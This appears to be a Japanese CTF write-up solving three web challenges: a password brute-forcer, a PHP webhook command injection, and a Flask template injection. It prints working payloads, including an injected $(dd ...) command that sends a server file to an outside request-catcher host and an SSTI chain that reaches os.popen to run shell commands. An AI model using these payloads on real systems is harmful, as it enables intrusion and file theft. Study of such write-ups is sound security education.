        if (add === 0x60   && or === 0x61   && xor === 0x6) sum += add + or - xor; 
    }
   return  sum === 0xbb ? !0 : !1;
}

ANDで判定すればよさそうだが、ORになっている。
理由はよくわからないが、どっちも通るものを作ればよさそう。

まずif (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;の部分をみると、1ループでsumにどれだけ加算されるかは分かる。

$ python3 -c "print(0x60+0x61-0x6);print(0xbb)"
187
187

という感じなので、パスワードの長さは6文字と見て良さそう。
ソースコード// /check.phpとコメントがあるので、GETでアクセスしてみるとパスワードの入力画面が出てくる。
上記の条件を満たすパスワードは1つではないので、条件を満たすものを使ってブルートフォースすればよさそう。
以下のようにブルートフォーサーを書いて放っておくと、パスワードがsadsauのときにフラグが得られる。

import time
import requests

for v0 in range(97,122 + 1):
    for v1 in range(97,122 + 1):
        for v2 in range(97,122 + 1):
            for v3 in range(97,122 + 1):
                for v4 in range(97,122 + 1):
                    for v5 in range(97,122 + 1):
                        if (v0 & v2) == 0x60 and (v1 | v4) == 0x61 and (v3 ^ v5) == 0x6:
                            passwd = chr(v0) + chr(v1) + chr(v2) + chr(v3) + chr(v4) + chr(v5)
                            print(passwd)
                            t = requests.post('http://chal.pctf.competitivecyber.club:9096/check.php', data={'password':passwd}).text
                            if 'incorrect password' not in t:
                                print(t)
                                print('did it!')
                                exit(0)
                            time.sleep(0.1)

[web] Flower Shop

phpで作られたwebサイトが与えられる。
GET /admin.phpをセッションのusernameがadminの状態で入ればフラグがもらえる。
一番怪しいのが、パスワードリセット処理を実施しているapp/classes/reset.class.phpの以下の部分。

exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");

明らかに不自然。
埋め込み変数の出元を辿ると$this->whはユーザー登録時に登録するWebhookのURLを指していて、
正常動作であれば、このWebhook先にパスワードリセット後の新しいパスワードが送られる。

Webhook URLは登録時に以下のようなバリデーションを実施する。

        if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
            header("location: ../login.php?error=NotValidWebhook");
            exit();
        }

コマンドインジェクションに対してはこれだけでは不十分で、https://[yours].requestcatcher.com/test?q=$(id)のようにWebhookを仕込み、
パスワードリセット処理を実行すると、idの出力が得られる。
あとはフィルタリングを回避しながら、出力もうまく調整しながら/var/www/html/admin.phpにあるフラグを取得すればいい。
自分は以下のようなURLを使用した。

http://[yours].requestcatcher.com/test?q=$(dd${IFS}if=/var/www/html/admin.php${IFS}bs=1${IFS}skip=325)

空白がバリデーションで弾かれるので${IFS}を利用している。
あと、そのままadmin.phpを出力させて送ると空白とかでちゃんと送れないので、ddコマンドで先頭バイトを適当にskipして送っている。

[web] Pick Your Starter

ポケモンの最初の御三家のどれを選ぶか選択できるサイトが与えられる。
ちなみにヒトカゲを選ぶと/charmanderというパスに飛ばされる。
色々試すと/{{7*7}}、つまり、GET /%7B%7B7*7%7D%7Dを試すと49と帰ってきてSSTI可能なことが分かる。
触ってみるとブラックリストがあるような気がする。

[]
config
|
__builtins__
"
'
+

さまよっていると、
http://chal.pctf.competitivecyber.club:5555/%7B%7Brequest.application.__globals__.__loader__.__init__.__globals__.sys.modules.os.popen(request.args.a).read()%7D%7D?a=id
でidコマンドが実行できた。

cat app.pyとしてコードを見てみる。

from flask import Flask, render_template, render_template_string

app = Flask(__name__)
app.static_folder = 'static'

starter_pokemon = {
    "charmander" : {
        "name": "Charmander",
        "type": "Fire",
        "abilities": ["Blaze", "Solar Power"],
        "height": "0.6m",
        "weight": "8.5 kg",
        "description": "Charmander is a Fire-type Pokémon known for its burning tail flame.",
        "picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png"
    },
    "bulbasaur" : {
        "name": "Bulbasaur",
        "type": "Grass/Poison",
        "abilities": ["Overgrow", "Chlorophyll"],
        "height": "0.7m",
        "weight": "6.9 kg",
        "description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.",
        "picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png"
    },
    "squirtle" : {
        "name": "Squirtle",
        "type": "Water",
        "abilities": ["Torrent", "Rain Dish"],
        "height": "0.5m",
        "weight": "9.0 kg",
        "description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.",
        "picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp"
    },
}

def blacklist(string):
    block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
    
    for item in block:
        if item in string:
            return True
    return False


@app.route('/')
def index():
    render = render_template('index.html')
    return render_template_string(render)


@app.route('/<pokemon>')
def detail(pokemon):
    pokemon = pokemon.lower()
    try:
        render = render_template('pokemon_name.html', data=starter_pokemon[pokemon])
        return render_template_string(render)
    except:
        if blacklist(pokemon):
            return render_template('error.html')
            
        render = render_template('404.html', pokemon=pokemon)
        return render_template_string(render)

if __name__ == '__main__':
    app.run(debug=True)

ブラックリスト大体あってましたね。
updateは何をブロックしたかったんだろう。
ともあれ、cat /flag.txtでフラグ獲得